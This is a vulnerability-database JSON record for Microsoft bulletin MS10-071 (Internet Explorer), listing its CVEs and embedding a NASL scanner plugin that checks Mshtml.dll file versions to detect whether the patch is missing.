"cvelist": ["CVE-2010-3331", "CVE-2010-0808", "CVE-2010-3330", "CVE-2010-3328", "CVE-2010-3324", "CVE-2010-3325", "CVE-2010-3243", "CVE-2010-3326", "CVE-2010-3329", "CVE-2010-3327"], "modified": "2017-07-05T00:00:00", "id": "OPENVAS:901162", "href": "http://plugins.openvas.org/nasl.php?oid=901162", "sourceData": "###############################################################################\n# OpenVAS Vulnerability Test\n# $Id: secpod_ms10-071.nasl 6527 2017-07-05 05:56:34Z cfischer $\n#\n# Microsoft Internet Explorer Multiple Vulnerabilities (2360131)\n#\n# Authors:\n# Sooraj KS <kssooraj@secpod.com>\n#\n# Copyright:\n# Copyright (c) 2010 SecPod, http://www.secpod.com\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2\n# (or any later version), as published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 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script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2010/08/14\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2010/10/12\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2010/10/13\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:microsoft:windows\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"Windows : Microsoft Bulletins\");\n\n script_copyright(english:\"This script is Copyright (C) 2010-2018 Tenable Network Security, Inc.\");\n\n script_dependencies(\"smb_hotfixes.nasl\", \"ms_bulletin_checks_possible.nasl\");\n script_require_keys(\"SMB/MS_Bulletin_Checks/Possible\");\n script_require_ports(139, 445, 'Host/patch_management_checks');\n\n exit(0);\n}\n\ninclude(\"audit.inc\");\ninclude(\"smb_func.inc\");\ninclude(\"smb_hotfixes.inc\");\ninclude(\"smb_hotfixes_fcheck.inc\");\ninclude(\"misc_func.inc\");\n\nget_kb_item_or_exit(\"SMB/MS_Bulletin_Checks/Possible\");\n\nbulletin = 'MS10-071';\nkbs = make_list(\"2360131\");\nif (get_kb_item(\"Host/patch_management_checks\")) hotfix_check_3rd_party(bulletin:bulletin, kbs:kbs, severity:SECURITY_HOLE);\n\nget_kb_item_or_exit(\"SMB/Registry/Enumerated\");\nget_kb_item_or_exit(\"SMB/WindowsVersion\", exit_code:1);\n\nif (hotfix_check_sp_range(xp:'3', win2003:'2', vista:'1,2', win7:'0') <= 0) audit(AUDIT_OS_SP_NOT_VULN);\nif (hotfix_check_server_core() == 1) audit(AUDIT_WIN_SERVER_CORE);\n\nrootfile = hotfix_get_systemroot();\nif (!rootfile) exit(1, \"Failed to get the system root.\");\n\nshare = hotfix_path2share(path:rootfile);\nif (!is_accessible_share(share:share)) audit(AUDIT_SHARE_FAIL, share);\n\nkb = \"2360131\";\nif (\n # Windows 7 and Windows Server 2008 R2\n #\n # - Internet Explorer 8\n hotfix_is_vulnerable(os:\"6.1\", file:\"Mshtml.dll\", version:\"8.0.7600.20795\", min_version:\"8.0.7600.20000\", dir:\"\\system32\", bulletin:bulletin, kb:kb) ||\n hotfix_is_vulnerable(os:\"6.1\", file:\"Mshtml.dll\", version:\"8.0.7600.16671\", min_version:\"8.0.7600.16000\", dir:\"\\system32\", bulletin:bulletin, kb:kb) ||\n\n # Vista / Windows 2008\n #\n # - Internet Explorer 8\n hotfix_is_vulnerable(os:\"6.0\", file:\"Mshtml.dll\", version:\"8.0.6001.23067\", min_version:\"8.0.6001.20000\", dir:\"\\system32\", bulletin:bulletin, kb:kb) ||\n hotfix_is_vulnerable(os:\"6.0\", file:\"Mshtml.dll\", version:\"8.0.6001.18975\", min_version:\"8.0.6001.18000\", dir:\"\\system32\", bulletin:bulletin, kb:kb) ||\n # - Internet Explorer 7\n hotfix_is_vulnerable(os:\"6.0\", sp:2, file:\"Mshtml.dll\", version:\"7.0.6002.22477\", min_version:\"7.0.6002.20000\", dir:\"\\system32\", bulletin:bulletin, kb:kb) ||\n hotfix_is_vulnerable(os:\"6.0\", sp:2, file:\"Mshtml.dll\", version:\"7.0.6002.18304\", min_version:\"7.0.6002.18000\", dir:\"\\system32\", bulletin:bulletin, kb:kb) ||\n hotfix_is_vulnerable(os:\"6.0\", sp:1, file:\"Mshtml.dll\", version:\"7.0.6001.22753\", min_version:\"7.0.6001.20000\", dir:\"\\system32\", bulletin:bulletin, kb:kb) ||\n hotfix_is_vulnerable(os:\"6.0\", sp:1, file:\"Mshtml.dll\", version:\"7.0.6001.18522\", min_version:\"7.0.6001.18000\", dir:\"\\system32\", bulletin:bulletin, kb:kb) ||\n\n # Windows 2003 / XP 64-bit\n #\n # - Internet Explorer 8\n hotfix_is_vulnerable(os:\"5.2\", sp:2, file:\"Mshtml.dll\", version:\"8.0.6001.18972\", min_version:\"8.0.0.0\", dir:\"\\system32\", bulletin:bulletin, kb:kb) ||\n # - Internet Explorer 7\n hotfix_is_vulnerable(os:\"5.2\", sp:2, file:\"Mshtml.dll\", version:\"7.0.6000.17091\", min_version:\"7.0.0.0\", dir:\"\\system32\", bulletin:bulletin, kb:kb) ||\n # - Internet Explorer 6\n hotfix_is_vulnerable(os:\"5.2\", sp:2, file:\"Mshtml.dll\", version:\"6.0.3790.4772\", min_version:\"6.0.0.0\", dir:\"\\system32\", bulletin:bulletin, kb:kb) ||\n\n # Windows XP x86\n #\n # - Internet Explorer 8\n hotfix_is_vulnerable(os:\"5.1\", sp:3, file:\"Mshtml.dll\", version:\"8.0.6001.18972\", min_version:\"8.0.0.0\", dir:\"\\system32\", bulletin:bulletin, kb:kb) ||\n # - Internet Explorer 7\n hotfix_is_vulnerable(os:\"5.1\", sp:3, file:\"Mshtml.dll\", version:\"7.0.6000.17091\", min_version:\"7.0.0.0\", dir:\"\\system32\", bulletin:bulletin, kb:kb) ||\n # - Internet Explorer 6\n hotfix_is_vulnerable(os:\"5.1\", sp:3, file:\"Mshtml.dll\", version:\"6.0.2900.6036\", min_version:\"6.0.2900.0\", dir:\"\\system32\", bulletin:bulletin, kb:kb)\n )\n{\n set_kb_item(name:\"SMB/Missing/MS10-071\", value:TRUE);\n hotfix_security_hole();\n hotfix_check_fversion_end();\n exit(0);\n}\nelse\n{\n hotfix_check_fversion_end();\n audit(AUDIT_HOST_NOT, 'affected');\n}\n", "cvss": {"score": 0.0, "vector": "NONE"}}]}
Microsoft IE HtmlDlgHelper类内存破坏漏洞（MS10-071）
